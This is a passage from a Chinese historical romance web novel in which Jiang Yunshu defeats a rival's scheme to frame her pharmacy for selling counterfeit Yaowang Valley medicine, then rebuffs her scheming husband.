姜云舒瞪他一眼,很显然,这番敷衍的说辞无法让她信服。 “不想说便算了。”她抬手,领取了一只杯盏,倒了茶。 见姜云舒沉了脸,谢无烬沉沉叹一口气,“若我说,是为了你而来,可信度会不会高一些?” “那谢世子可是有够闲的。”姜云舒翻了翻眼皮。 这人得有多大的气性,不远万里从西晋边境跑来京城只为出一口退婚的恶气? 况且,退婚已经是三年前的事了,他这时候来,怕是晚了点。 这个说法还不如上一个。 “你瞧,你问了,我回答,你却又不信,女人心,海底针呐!” 说着,谢无烬侧身再靠近一分,笑意收敛,“如今沈清安这批药材来源背后关系牵扯,正是你我联手的时机,你在京以沈清安为准,伏虎营那边,我派人去查,届时消息共享,定然事半功倍。” 他半带轻笑地看着姜云舒,眼神极具诱惑。 几番交手下来,谢无烬察觉出姜云舒留在沈家是为了调查沈清安,一点也不奇怪。 姜云舒此刻尚且看不透谢无烬的真正意图,不过于她来说并不重要,她要的是真相,致定国将军府一夜倾塌的幕后之人和真相。 思量瞬间,姜云舒挑眉,淡然吐出一个字。 “好。” “那我们,合作愉快!” 谢无烬端起茶,轻轻碰了一下姜云舒的杯盏。 姜云舒抬头看谢无烬,在见到他之前,她曾听过无数关于他的传闻,可如今本人就在眼前,与她在脑子里形成的形象全都不一样。 “合作之前,我有一个问题,想请谢世子为我解惑。” 想不明白,姜云舒索性将话说得明白,“我以为,谢世子会因为退婚一事与我交恶,你竟不介意?” 她所听到的传闻之中,谢无烬睚眦必报的性格再鲜明不过,当初西晋边境动乱,天枢城太守泄露驻军信息,导致谢无烬损失惨重,突出重围之后,他便屠了整座城。 这样一个人,即便当初退婚是两家协商,可谢无烬亦难免被人议论,如今见面他竟不计前嫌,还来找她合作? 姜云舒很难不防备。 “介意,自然介意,本世子气不过,这不,不远万里跑来京城找你算账讨要说法。” 谢无烬勾起唇角,倾身朝姜云舒靠近时,露出发间那枚白玉簪,“你将那忘恩负义的白眼狼一脚踢开,本世子大发慈悲,再给你一次机会,如何?” “还给我。” 姜云舒下意识伸手,却不想,谢无烬早有防备,在她出手的瞬间侧过身。 一招未得逞,她脸色一沉,紧接着抬手,鞭子便打了出去。 一时间,刚刚还在合谋的二人便在屋内动起手来。 正打着,“砰”的一声,房门推开。 “姜云舒,我听说渊政王府那阎王——” 裴钰的声音在看到屋内光景时,戛然而止,下一瞬,他突然转身就要往外跑。 “姜云舒,你挺住,我这就给你找帮手来!” 就知道谢无烬得来找麻烦,刚才应该多带几个侍卫! 姜云舒脸上肌肉突然猛地颤了一下,他还真是跑得毫不犹豫。 “给我回来!” 她手中的鞭子调转方向朝裴钰去了,长鞭收回倒刺,勾在裴钰腰间,用力一拽便将人带回了屋内。 “你,你抽我作甚,你得打他啊!”裴钰委屈得五官纠结在一起。 姜云舒深吸一口气,松开鞭子。 “我跟谢世子没打架。”她说。 “没打?”裴钰看看姜云舒,又看看谢无烬。 “嗯,没打。”谢无烬应声,抬手将白玉簪又插在了发间。 姜云舒狠狠地瞪他一眼,谢无烬却笑容更甚。 裴钰没瞧见两人眼神交流,只抬手揉了揉眼睛朝屋子里四处看一圈。 “这满地狼藉,你们当我瞎呢?”他瞪眼。 “左右不是你想的那样。” 姜云舒懒得与他解释,索性岔开话题,“你来了正好,帮我去查一下沈清安接收的那批药材。” “你知道了?”裴钰惊诧地瞪大眼睛,随即瞧谢无烬挑眉,一下子反应过来。 他的消息来得晚了。 不知为何,心里生出了一股名的失落感。 “你们方才就在说这事儿?” 说着话起身,裴钰没好气地看向姜云舒。 不是说让她离这阎王远一点嘛。 “嗯。” 姜云舒应声,将刚才谢无烬分享的信息又跟裴钰说了一遍,刚说完,却听裴钰惊呼一声。 “你说韩昀?方才我过来时遇到赵令海,听他在骂到手的练武场又被抢了,骂的便是韩昀。” 第83章 药王谷来的 “他骂韩昀?” 姜云舒眉心紧蹙,下意识扭头看向谢无烬。 韩昀的伏虎营远在平洲,如何能与京城的赵令海抢夺练武场? “伏虎营回京了?”姜云舒问。 “嗯,就是因为剿匪有功,皇上将伏虎营调回京城,想来是因为安置问题,抢占了赵令海的地盘。” 裴钰应声,随即看向一旁的谢无烬,眼中多了几分得意,“谢世子没查到吗?” 到底他裴钰才是姜云舒跟前的第一情报网。 谢无烬眸光微敛,蹙眉思量过后才开口。 “看来,有必要去太师府一趟了。” 他是跟姜云舒说的,离开之前,又与她重复一句,“别忘了你答应我的。” 说完,起身离开。 裴钰愣了一瞬,随即反应过来,一脸震惊地看向姜云舒。 “你答应他什么了?你们什么时候能关起门来说话了?姜云舒,你对得起我吗!” 接连的质问,听得姜云舒一脸凌乱。 怎么就对不起他了?这架势,仿若自己成了那负心女一般? 不对,怎么就负心了? 明明受害的是她啊! 三日之后。 一如谢无烬所说,沈家的尚品堂于繁荣街开张。 当日,爆竹自空中炸开,从繁荣街的东头一路响到了西头。 仁春堂亦开在繁荣街上,听到动静,店铺里的伙计忍不住出来看热闹。 “这不就是那日来买归心丸的夫人?沈家人将药铺开在同一条街,这是明着想抢生意呢!”伙计忍不住撇嘴。 韩掌柜抬头朝外面瞧了一眼,又低下头拨弄手中的算盘珠子,并未接话。 不得不说,这高夫人的确有几分经商的头脑。 仁春堂在繁荣街二十多年,算是老字号药铺,加上这条街只此一家,不管是客流量还是位置,都少有竞争,不过只一样,仁春堂的药材要比别家贵。 可贵对于仁春堂来说也并不是毛病,毕竟成色好啊,京城多显贵,能来繁荣街的客都是非富即贵,这略贵毫厘的药价也就不算问题了。 而如今,尚品堂开张,今日所报药价比仁春堂便宜两成,药价有了对比,客人自然被吸引过去。 “客人都被新店开张引过去了,咱们可怎么办?”伙计拧着眉头。 “慌什么,做自己的事情去!”韩掌柜朝伙计吩咐一声,转身,将新到的归心丸摆放在橱柜里。 接连两日的新店酬宾,尚品堂客量让高芝兰笑开了花,都说好事成双,这日一早,她又收到了药王谷的消息。 “夫人,这是药王谷送来的信。”心腹将信送到高芝兰面前。 高芝兰闻言眼睛一亮,接过信来。 “归心丸不对外出售……”她低低念着,眼中闪过急切的兴奋。 若归心丸不对外出售,那仁春堂里卖的又是从何而来? 向仁春堂订药的常客之中,多为高门贵胄,就连庆王府的老太妃也在服用,这要是出了事,姜云舒必死无疑。 就算那归心丸是她从药王谷买来的,可药王谷有规定,如归心丸这类特殊药物,不得随意售卖,否则打官司巨额赔款,也要让仁春堂开不下去。 仁春堂没了,那繁荣街便成了尚品阁的天下! 真是老天有眼! 见高芝兰兴奋,心腹又加了一句,“听说,药王谷的人也到了京城。” “去,快去查他们的落脚点!”高芝兰脸上的兴奋压都压不住。 真是瞌睡就有人送枕头,她还愁举报无门,药王谷的人这不就到跟前了嘛! 繁荣街,明月楼雅间。 月禾在一旁,给荣三爷面前的酒杯续满,姜云舒抬手朝他举了举杯。 “三哥这次来京城,该不会又是自己偷偷来的吧?” 荣颂,药王谷荣家老三,原本是家族之中医药天赋最强的一个,奈何这人性子放浪不受拘束,一不高兴就不干了,将药王谷那一摊子甩给他二哥。 离家出走这种事,的确是能发生在他身上的事情。 “我在你眼中,竟比庭轩还顽劣?”荣颂瞥了姜云舒一眼,仰头喝下,“这次不是我一个人来,庭轩也跟来了。” 虽说称他一声哥,但荣颂要比姜云舒大十岁,本身生得五官精致,周身带着一股儒雅的气息。 “他人呢?怎么不见跟在你身边?”姜云舒说着,朝楼下看去。 “小孩子坐不住,刚进京便四处逛去了。”荣颂喝着酒,一点都不担心。 “庭轩很少出谷,趁着年纪小出来多看看也是好的,尤其跟在你身边,倒是让二哥松一口气。” 姜云舒说着,又给荣颂满上,“三哥这次不是离家出走,想来进京是有事,说来听听。” “锦州连降大雨,听说灾民朝京城涌入,疫病难免,我正闲来无事,便过来看看。” 说着,他抬眸看向姜云舒,唇角勾起笑容,“没想到,你已经控制住了局面,倒是我担心过多了。” 姜云舒挑眉,笑容里透着几分玩味。 “怎么,三哥这是想入仕?那我可是挡了你的路了,不过,即便如此,三哥若能加入医疗队,凭借药王谷三当家的身份,太医院还不是向你敞开大门?” “你这嘴,谁能说得过你!”荣颂没好气嗔她一句,随后叹息,“说起来,我之前在京城勘测出南郊悬崖底温度很适宜九凰草生长,这次回来是想……” 话还没说完,姜云舒端起杯盏打断他,“九凰草是其次,主要还是那里距离清风观比较近吧?” 清风观,可是住着那位他十多年都没放下的人呢。 荣颂一顿,瞧她笑得意味深长,略显无奈。 “她最近如何?”他问。 “你都到京城了,还问我?那么关心,就自己去看看她呗!” 姜云舒挑眉,又给他续上了酒。 就在姜云舒和荣颂相谈甚欢时,此刻的繁荣街上,荣庭轩带着两个下人这边看看,那边瞧瞧,对京城各处都充满好奇。 一双眼睛看不过来,不留神就与路人撞了个正着。 “哎哟,抱歉,我没看清楚……”荣庭轩紧忙过来扶,话还没说完,就见一盒药自那夫人身上滚落下来。 正是他药王谷的归心丸。 第84章 小姑姑 “哎哟,小公子,你没事吧?” 高芝兰不顾自己身上沾了灰,紧忙上前扶起荣庭轩,一脸关切紧张。 “我没事。” 荣庭轩后退一步,将落在地上的归心丸拿起来,细细看着那盒子,“这是你的药?” “啊,是,我们家老夫人身子弱,需常年服用归心丸。” 高芝兰接过药,似是话家常一般,“说起来,这药可真不好买,整个京城只有仁春堂有,还得提前预定,我这也是费了好大的功夫才买到。” “仁春堂?” 荣庭轩细想了一下,对这个药铺没有印象,随即再开口,语气已经略显不善,“这药你经常买?” 他虽年纪不大,可也知道这归心丸是药王谷的秘方药,不作为药材对外销售,若想买,只有去药王谷求药这一条路。 他们药王谷自己人尚且不能随意出售,这药如何在京城能买卖了? “是啊,你可不知道,听说这是药王谷的秘药,除了我家老夫人,这京城显贵府上的长辈,很多人都服用这归心丸呢!” 一边说着,高芝兰看向荣庭轩,目光触及他腰间的玉牌,似是认出什么,惊呼一声。 “哎呀,看你腰间这玉牌,小公子可是药王谷的人?” “你竟然认得?” 荣庭轩眸光一闪,挺起了胸膛。 虽说药王谷临界周边三个国家,却又不归属任何一个国家,是一个独立区域的存在,但不管是在哪个国家,药王谷的人都会得到追捧。 嗯,就好比皇权贵胄一般的待遇吧! “天下药材非药王谷莫属,我虽未能有幸与药王谷合作,这家族标志还是认得的。”高芝兰面带笑容,宛若一个温和的大姐姐。 荣庭轩没在意她话里想拉近关系的意思,只将注意力放在那归心丸上。 “你既知道我药王谷,可知归心丸是我药王谷秘药,从不对外售卖?”他看着高芝兰手里的药,皱起眉头。 “这我不知道啊!”高芝兰一脸困惑,似是想到什么,眸光一凛,“难不成,是那仁春堂卖假药?” 说着,她紧忙将药丸递给荣庭轩。 “还请小公子帮我分辨一二。” 荣庭轩年纪尚小,还未接触秘药配置,哪里能分辨? 可看着外盒包装和封存方式,的确来自药王谷,当即小脸一沉。 “你带我去那仁春堂,倘若真挂着我药王谷的名号卖假药,小爷一定砸了他的店!” “行,我这就带你去!” 高芝兰将药收回来,带着荣庭轩朝仁春堂就去了,临走前,朝街角处点了点头,原本守在那里的人朝京兆府和庆王府等地散开。 要闹就将事情闹大,常年吃归心丸的可都是非富即贵,届时找上门来,相公便有了理由将她休妻出门。 还有这仁春堂,最好在京兆府留了案底,叫她仁春堂在繁荣街消失! 此时姜云舒和荣颂正聊着天,就听急促的脚步声自门口传来,下一瞬,敲门声响起。 “东家,不好了,咱仁春堂被围了。” 是仁春堂伙计的声音。 姜云舒举起的酒停顿在半空,随后放下酒杯,略带歉意地朝荣颂扯了扯嘴角。 “我去去就来,三哥在此稍等片刻。” 说着,她起身,就要往外走,却见荣颂也跟着站起来。 “我与你一同去,多年未未见,如今来了京城,也该跟韩掌柜打个招呼。” 掌柜韩进原本是定国将军府的军医,当年战场上伤了一条腿,姜云舒她娘体恤他年纪大了,允他养老他却不肯,姜夫人便在京城开了这家仁春堂让他管理,以做军姿药物储备。 姜云舒出嫁之前,这仁春堂便一直是韩掌柜在打理,此前荣颂还在药王谷内阁主事时,也是韩掌柜与他直接接洽,两人算是忘年交。 “行吧,那三哥便同我一起去。” 众人一同往外走,到仁春堂时,门口已经被乌泱泱的人堵住了,这场面,比之前尚品堂开张还热闹。 “听说仁春堂卖假药,这事儿可大了!” “哎呀,听说皇亲侯府的贵夫人们可是经常用仁春堂的药调理,这要真是卖假药,这得关门呐!” “那可是皇亲国戚,说不定还得抄家!” 百姓在门口议论纷纷。 “让让!” 此时小二在人群中喊了一声,围观众人闻声看过来,见是姜云舒,紧忙闭上嘴让开了一条路。 几个人进了大堂,此刻,才发现,除了仁春堂的常客,就连衙役也来了。 人很多,吵吵嚷嚷,就像打架一般。 “今日这事儿,你管不了,还是赶紧让你们东家出来吧!” 说话的工部尚书府的管家。 “就是,就是!” 众人附和。 此刻,高芝兰站在人群之中,她没像其他人那本义愤填膺,而是看似不解的问衙役。 “官爷,这要是查到卖假药,是什么罪?” 她声音不大,问出的问题却是看热闹的众人想问的。 衙役扭头看了高芝兰一眼,冷着声音回了一句,“视情况而定,若危害严重,要罚金甚至查封。” “这样的店铺,就应该查封!” 此时,荣庭轩的一声将众人的注意力吸引过来,随后他扯下腰间的令牌亮明身份。 “我药王谷从不对外售卖归心丸,这家药店是在败坏我药王谷的名声!”他朝着众人大喝一声。 “你说谁败坏药王谷的名声?” 几乎是紧接着荣庭轩的话,一声清亮的女声传来,那声音盖过荣庭轩的声音,灌入众人耳中。 众人猛然回头,就见姜云舒朝人群中走了过来。 见姜云舒来,高芝兰眼中光芒闪过,便是握紧双拳亦难压制此刻的兴奋。 与药王谷的人正面对峙,姜云舒这次如论如何都逃脱不开,这一次,定让她翻不了身! 待仁春堂被查封,她便将那处铺面盘下来,届时与尚品堂相交呼应,一处店铺卖寻常药材,另一处卖奇珍异草和尚品秘药,说不定还能成为皇商为御药房供药。 想到这里,高芝兰仿佛看到了她日渐尊贵的人生。 然而,这白日梦还没进入佳境,却听荣庭轩惊呼一声。 “小姑姑!” 说着话,他便朝姜云舒奔了过来。 小姑姑? 高芝兰愣住,满脸的得意僵在脸上,好半晌,她扭动脖子,僵硬的看向姜云舒。 刚才那药王谷的小少爷喊姜云舒小姑姑? 第85章 她不是外人 不光高芝兰,在场所有人都被这一声“小姑姑”震得瞪大眼睛。 还不等众人反应,荣庭轩已经到了姜云舒跟前。 “庭轩拜见小姑姑!” 他朝姜云舒行一礼,然而,却听姜云舒“哼”了一声。 荣家小爷当即愣住,一脸委屈,正想不明白,就听韩掌柜对着姜云舒叫了一声。 “东家。” “东家?”荣庭轩黑亮的眼睛霎时瞪大,“小姑姑,这是你的店铺?” 他知道药王谷与姜云舒常年有药材生意往来,可在他印象里,北域才是姜云舒的地界啊! 怎么没人告诉他,这京城最大的药铺也是小姑姑的? 这不大水冲了龙王庙了? 荣庭轩扯了扯嘴角,想哭。 然而,还没等他哭,就见他三叔也走了过来。 “不过一炷香的时间,你又闯祸!” “我错了!” 荣庭轩耷拉着脑袋,一脸无辜地看向姜云舒,“小姑姑,我真不是故意的,我不知道……” 众人自震惊之中回过神来,便有人忍不住出声。 “小公子,这到底怎么回事,你刚才不还口口声声说仁春堂卖假药吗?” 这一声,喊得荣庭轩一激灵,他回头在人群之中看了一圈,随即伸手朝高芝兰一指。 “是她,她拿着归心丸说是从仁春堂买的,我药王谷的归心丸从不对外售卖,我便以为……” 他越说声音越小,随后低着头再不出声。 荣庭轩不说话了,倒是将众人的注意力都引到了高芝兰这里。 “我仁春堂今日并未有归心丸售出,而且,之前老夫人发病已经用尽了府上的归心丸,高夫人,你手里这药又是从何而来?” 姜云舒看向高芝兰,明明言语平淡柔和,却让高芝兰白了脸。 “我,我其实是想为老夫人备下一丸,这不是路上遇到了荣小少爷,听他说归心丸不对外售卖,一时心有疑惑……” 她顾左右而言其他。 “呵,疑惑?” 姜云舒挑眉,笑容讥诮,“你对药疑惑,却清楚仁春堂是我的,真是难为你了,这么会儿功夫,通知了常年从仁春堂拿药的各家高门贵胄,又带了衙役大哥过来,这是生怕我仁春堂犯了事还有机会翻身吗?” 不用解释,在场众人都品出了那么几分算计陷害的味道。 她怎么就碰巧遇上了药王谷这小公子?又如何刚巧身上带着归心丸,还给这小公子信息,让他以为仁春堂卖假药? 步步算计,处处引导,在场众人,尤其衙役,大家都不是傻子,只需稍许琢磨便能明白其中深意。 此时高芝兰脸上的兴奋瞬间散得无影无踪,取而代之的是满脸慌乱。 “姜夫人,这到底是怎么回事?我们老太妃常年吃的归心丸,到底有没有问题?” 这时,庆王府的管家忍不住开口。 姜云舒没直接回答,而是扭头看向荣颂,“荣三爷,你还是跟大家解释清楚吧!” 荣三爷? 众人的视线又落在了荣颂身上。 这位就是那药王谷最厉害的荣三爷? 果真是谪仙一般的人物! 荣三爷没想到姜云舒会将他推出来,一脸无奈地看她一眼,这才开口。 “归心丸乃我药王谷秘药,的确不对外售卖,但姜云舒不是外人,她从药王谷拿药另有记录,所以大家放心,不管是以前还是之后,自仁春堂所买归心丸,皆是我药王谷正品配制。” 他顿了一下,面向众人,再次郑重重申,“除了仁春堂,归心丸依旧不对外出售。” 得了荣三爷的承诺,众人当下安心地松了一口气。 “原来,姜夫人与药王谷关系匪浅,如此我们在仁春堂拿药便再无疑虑。” “难怪仁春堂的药材品相更好,原来都是来源药王谷!” “的确,听说姜夫人在安置城外灾民之前,御药房也接收了姜夫人车队的药。” “果然,以后买药还是得来仁春堂,哪怕价格稍贵,可药效好,有保障啊!” 围观众人你一言我一语,从一开始的怀疑,变成了人人称赞。 高芝兰躲在人群之中,脸色涨红,双手握紧了拳头。 她如何能想到,姜云舒竟与药王谷关系这般亲近? 如今这一闹,没将仁春堂查封不说,她原本想与药王谷攀上关系的希望怕是要落空了! 凭什么,凭什么事情一到姜云舒这里,所有事情都信手拈来,而她,即便费劲了心思也不及她分毫? 明明是通敌叛国的罪臣之女,凭什么她到如今还能顺风顺水! 明明自己才是贵人临凡,为什么遇上姜云舒却处处碰壁! 她瞪着眼睛,眼眶之中布满了红血丝,可如今除了死命瞪着,什么都做不了。 她做不了,但姜云舒能做。 “几位官差大哥,有人污蔑我仁春堂,我是不是也能告她?”她一边说着,视线落在高芝兰身上。 衙役闻言转身看向高芝兰。 “高夫人,从衙门出来时,邢大人可是提醒过你,污蔑陷害当家主母是重罪,如今事情原委已经清楚,你跟我们回衙门吧!” 高芝兰也不是第一次进京兆衙门了,衙役几乎都认识她,沈家那位回来争主母之位的原配。 按理说,大家对高芝兰原本也是同情的,可如今官员家眷册录上,姜云舒是正妻,高芝兰诋毁陷害正妻成立,不管她是不是可怜,律法面前,她都有罪。 说着,衙役就要过来上枷锁。 高芝兰吓坏了,此刻顾不得那么多,紧忙拽住姜云舒。 “姜氏,我不是想污蔑你,归心丸不对外售卖是事实,我只是担心因为你连累沈家才这样做,你救救我!” 姜云舒抬手扣在她的手上,一根一根将她的手指掰开。 “你担心沈家,所以迫不及待地来打压我,如今事情败露,反而又要我来救你?高芝兰,我是你娘吗,要处处迁就谅解你?” 说完,最后一根手指掰开,姜云舒转手一推便将高芝兰退了出去。 高芝兰惊呼一声,踉跄着冲到衙役跟前,原本就拿着枷锁的两个衙役眼疾手快,“咔咔”几下便给她制住。 “姜云舒,我好歹是沈家人,你这样做回去如何跟老夫人和相公交代?”高芝兰咬牙切齿。 这话听得姜云舒忍不住笑出声来。 “你还是先担心担心你自己,今晚能不能回家吧!” 说完,一摆手,衙役便拽着高芝兰出了仁春堂。 待他们离开,姜云舒忽然转向角落里。 “你还待在这里做什么,还不回去通报你爹英雄救美?” 沈长元没想到会被姜云舒发现,当即浑身一机灵,来不及多想,扭头就往外跑。 第86章 他想进屋 “呵,可真真是那对狗男女亲生的,小小年纪竟能给高芝兰当帮凶了,长大还能是什么好东西!”月禾看着沈长元的背影,忍不住骂一句。 姜云舒收回目光,勾起的唇瓣淡开一抹略显悲凉的无奈。 当初她亲自教导沈长元时,只当这孩子顽劣,想着若认真教导还是可以成才的,如今她才明白,人之初,有些自娘胎里带来的脾气秉性是改变不了的。 思及此,她倒是松了一口气。 然而,就在她叹息时,荣小爷悄摸摸地到跟前。 “那就是小姑姑说的养子?我瞧他做事不磊落,我怕是不能和这样的人做朋友,还请小姑姑原谅。”说着,他一本正经的朝姜云舒行了一礼。 这一礼,倒是让姜云舒对今天的事对他责备不起来了。 “嗯,庭轩有自己的判断力是好事,你只管做你觉得对的,不必在意其他。” “嗯!”荣庭轩得了称赞,扭头朝他三叔扬了扬脸。 荣三爷抬手在他脸上轻轻捏了一下,抬头看向姜云舒,眉间多了一丝担心。 “原不知道,你这夫家会是这般,今后,你可有打算?” 姜云舒原本没打算让荣颂知道自己的事,岂料高芝兰这一闹,她不说也瞒不住了。 她犹豫了一下,正要说话,却见荣庭轩又弹出个头来。 “我娘说,别忍着,指望不上的男人留着也没用,药王谷的屋子还给小姑姑留着!” 说着,他那小手往身上摸了摸,然后拿出一个白色的小瓷瓶递给姜云舒。 “这是我娘让我带给你的封喉散,仵作都查不出来。” 荣颂:“……” 姜云舒:“……!” 不是,荣二嫂嫂这么直接吗? 况且,这杀人的事儿你跟你那尚且年幼的儿子交代,是不是有点凶残了? “我知道了!” 姜云舒嘴角猛地抽一下,一把将那白瓷瓶拿过来,藏在了衣服里,转向荣颂。 “我与沈清安之间情况复杂,待我做完要做的事,自会离开沈家,届时如何安排,都会与你和二哥知会一声。” “好。”荣颂又恢复了平常那般温润柔和的模样,“如二嫂所说,你若在京城待烦了,药王谷总你一处容身之地。” 他说得真挚,然而,这话入了姜云舒的耳,她却翻了个白眼。 “你都总想着往外跑,休想骗我回去做苦力!” 荣颂:“……” 这话他反驳不了。 回到沈家时,天色已晚。 傍晚的夕阳温柔地洒下金色余辉,渲染出一片宁静。 姜云舒很喜欢临近黑夜这般安宁,此时她心情不错,如果没有在一进院子就看到沈清安的话。 “你回来了。” 沈清安听到脚步声,起身迎了过来。 姜云舒不咸不淡地瞥他一眼,淡漠开口,“天色已晚,沈大人不去安慰高夫人,来我这里可是有什么重要的事?” 又是这句,清冷又疏离,就差直接说“我这里不欢迎你”一般。 回来的路上,听说高芝兰在京兆府挨了二十板子,被抬了回来。 沈清安似是早就预料她不会有好脸色,只能压住腾起的怒意,强颜欢笑。 “听说,谢世子的一队女医进了清风村。”他开口,听语气,似是有些酸意。 姜云舒将摘下的斗篷递给月禾,转身迎着沈清安的视线,又是淡然地应了一个“嗯。” 沈清安瞧着她脸上表情,犹豫了稍许,还是开了口。 “我听说,你之前与谢世子有婚约,他这般……” “沈大人!”姜云舒霎时沉了脸色,不耐烦地打断他。 “除了谢世子的女医队,我清风村还接收了三皇子的粮食,六皇子的药材,还有朝中官员送来的各类防寒衣物和日常用具,大家都在为灾民出力,沈大人如今提及,可是要捐送什么物资?” 她瞥着沈清安,眸中嘲讽丝毫不掩饰。 锦州灾民虽被拦截在城外,但朝中上下,不管是何种意图,都在为这些百姓出力,可沈清安,在上次进宫得知自己并没有沾上半点功劳后,连粥棚的供应也断了。 功利心这般急切,还想着升官,皇上又不是傻的。 姜云舒的话直接堵了沈清安的嘴,他唇角轻颤,半晌愣是没说出一句话来。 姜云舒也没了耐心,直截了当赶人,“天色不早了,沈大人若没什么事儿,就请回吧!” “姜云舒!” 沈清安脸上带了几分恼羞成怒的意味,随着喊出声,他一把抓住姜云舒的手腕,“你别忘了,你是我沈清安八抬大轿娶进门的妻子,你服侍我本就是夫妻正事!” 说着,手上用力拽着姜云舒就往里走。 突如其来的亲近,引起姜云舒极度不适,几乎是一瞬间,她手腕一转,紧接着抬腿便踹在了沈清安腰间。 沈清安“啊”地一声飞了出去,紧接着“砰”地落在地上。 “姜云舒,你竟敢跟我动手!你要谋杀亲夫吗!”沈清安趴在地上,咬牙切齿。 姜云舒恍然回过神来,风轻云淡地看着他。 “哎呀,沈大人你没事吧?我这武功不济,脚下没轻没重的,真是对不住啊!” 说着,朝一旁惊呆了的子固招招手,“还愣着做什么,赶紧将你家大人扶起来啊!” 子固猛然回过神来,紧忙去扶,却被沈清安一把甩开,自己踉踉跄跄站起身来。 “你是聪明人,索性我便直接说了。”沈清安掸了掸身上的土,仰起头道:“尚品堂新店开张,我想搭上药王,你既与药王谷有交情,我希望你帮忙从中搭线。” 明明是求人的事儿,他却说得理直气壮,仿佛这件事交给姜云舒,是她莫大的荣幸。 姜云舒睨着他,唇畔扬起讥诮。 “高夫人只跟你说我与药王谷有交情,没有说别的?” 沈清安听着她话里有话,神情微微一变,“你什么意思?” 姜云舒轻抬眼皮,似笑非笑,“高夫人现下既已回府,想来沈大人也知道了,就在今日,她拉着药王谷的荣小爷去了仁春堂闹事,期间还通知了各世家,甚至连衙役都带了过去。” 话说一半,她突然敛了笑意,脸色骤然冷下来,“就算仁春堂不归入沈家,但我还是你沈家主母,草药生意在这个节骨眼上闹大,你沈大人能独善其身?” 第87章 腕弩 一句话,如刺骨寒冰,直戳沈清安的心口。 就算他们之间再不睦,可对于外人看来,他们都是沈家人,就算仁春堂出了事,沈清安毫不犹豫将姜云舒推出去,他自己也摘不干净。 怔愣半晌,沈清安才迟疑开口,“芝兰向来明理,这其中应该是有误会。” 话是这样说,可他的眼神却在躲闪,似是不敢与姜云舒对视。 姜云舒自嘲地哼笑一声。 原来,在乎不在乎,这么明显。 即便事实摆在明面,他依旧会为她开脱。 “我不关心你们是不是误会,但我提醒沈大人一句,管好你的人,她若再上赶着找麻烦,别怪我不给你留脸面,毕竟,我们这种出身武将世家的女子,想来霸道张狂。” 霸道张狂这个评价,还是沈清安为了贬妻为妾时的借口。 成婚之前,他说喜欢她的直爽潇洒,如今要拿回这正妻之位,便成了霸道张狂。 男人的嘴,总有狡辩的余地。 沈清安被揶揄,一下子涨红了脸,他瞪着眼睛,半晌只咬牙吐出一句。 “我一定会给你一个交代!” 这话听起来郑重其事,然而,听进姜云舒耳朵里,却极尽讽刺。 “交代这两个字,实在没有什么实质意义,况且,这话沈大人说得次数太多,便没有了分量。”姜云舒叹一口气,清冷又淡漠地看着他。 “那你想要什么?”沈清安咬牙切齿。 斤斤计较的女人,果真让人喜欢不起来。 她若能如芝兰一般,大度明理,也不至于让他这般嫌恶。 姜云舒丝毫不理会他那一脸憋闷,蹙眉想了想,开口。 “若沈大人真有诚意,那便将城东的四十亩两天和芳华街的六间铺面给我,我这个人向来大度,或许能原谅高夫人的刻意陷害。”她一脸豁达之色。 然而,这话出口,沈清安的脸色更难看了。 她倒是会挑,选的这几样都是皇上给的封赏中最好的! 见他只是瞪眼不说话,姜云舒叹一口气。 “我这个人向来不喜欢强人所难,沈大人若是舍不得,那就算了。”说着,转身就要往里走。 “给,给你!”沈清安咬牙应了,见姜云舒转过身来,又加一句,“但药王谷那边,你要保证能……” “怎么,这不是赔罪?我以为这便是沈大人给我的交代呢。” 姜云舒一脸不解,随即挑了挑眉,“若是药王谷的事,那得是另外的价钱。” “姜云舒!”沈清安一口牙都快咬碎了。 以前怎么没看出来,姜云舒竟是个无赖! 姜云舒也睨着他,以前怎么没看出来,沈清安竟是喜欢白日做梦。 “你到底想要什么!”沈清安攥着拳头,强行压住冲上来的怒意。 眼瞧着他额间青筋暴起,这气氛已经到了。 姜云舒正了正神色,“我要赤羽令!” “你说什么?” 沈清安表情一凛,一脸的气恼瞬间变成了防备。 赤羽卫,那可是他最后的保命符。 岩城治理水患三年,他要做出政绩,就只能动当地官员的利益,时常会有利剑悬在他的脖颈之间。 尤其前往岩城的第一年,他被洪水冲走,也是被人算计,若没有这支赤羽卫,他不知死了多少回。 虽说如今回京,可他背后依旧有无数暗箭指着,他不想死! “哼,左右药王谷的人已经在京城,不用你,我也能想办法!” “是吗,那就,祝你成功!” 姜云舒冷冷甩下一句话,转身进了屋,下一瞬,房门“砰”的一声关上。 沈清安站在远处,脸色铁青得厉害,他浑身颤抖,满腔的怒意几乎要冲出来。 此时,他气恼是真,却也有几分后悔了。 是什么给了他自信,让他以为定国将军府大势已去,姜云舒就能任他拿捏了? 若早知道,回京之后还有诸多事宜需她帮忙,之前大可不必那样不留余地。 是他得意了,也是低估了姜云舒。 屋内,一灯如豆,火苗在烛心上跳动,映得人影晃动。 姜云舒盯着那烛火,手中剪刀却迟迟没有落下。 “呵,这个沈家,可真是让人长见识的地方,明明是来求人办事,还一副趾高气扬的样子,真把自己当盘菜了!” 月禾将点心端过来,嘴里还止不住嘟囔。 姜云舒没说话,只是抬手将烛心剪短一截。 月禾瞧了瞧她,犹豫片刻,还是开了口。 “小姐,方才你将沈清安踹出去时,我恍惚瞧见他手腕上戴着一件熟悉的东西。” 这话成功让姜云舒抬起头。 “什么东西?” 沈清安这个人,骨子里和他娘一样是个虚荣的,官职不大,身上配饰却齐全的很,姜云舒倒是没瞧出有什么特别。 “我瞧见沈清安手腕上带着的东西,很像孙威孙副官设计的腕弩。” 月禾蹙着眉,回想那腕弩的样子,“当时试炼,我瞧见了那腕弩的厉害,还缠着他给我做一件,不过没等得及做成,我们便来了京城。” 此刻回想起来,还是挺遗憾的,那腕弩真的很厉害。 “孙副官设计的腕弩,怎么会在沈清安手上?” 姜云舒眉心瞬间拧起,脸色神情也逐渐严肃起来。 犹记得,孙副官是个手巧之人,参军之前,还做过珠宝匠人,平日里在军营也喜欢研发一些武器,当时姜云舒和月禾没事便喜欢缠着他做一些小物件。 可他虽是副将,却从未来过京城,更没有见过沈清安,他做的东西,如何能在沈清安手上? “你可看清楚了?确定是孙副官做的?”姜云舒看向月禾。 月禾蹙眉细想,片刻后,摇摇头。 “看外形很像,但不能确定,院子里灯光昏暗,看不清,若能就近看,或许能认出。” “好,我找机会再让他露出那腕弩。”姜云舒眼底寒意散开。 月禾也一脸紧张,“当初我们调查将军府一案时,将军身侧将士都被调离了北域,尤其副官和左右护官,更是派遣去了其他边境,沈清安如何能副将有联系?” 通敌乃重罪,且不说跟随的官员,就连姜云舒这出嫁的女儿都被彻底盘查过,按说,副官他们应该是不能入京的。 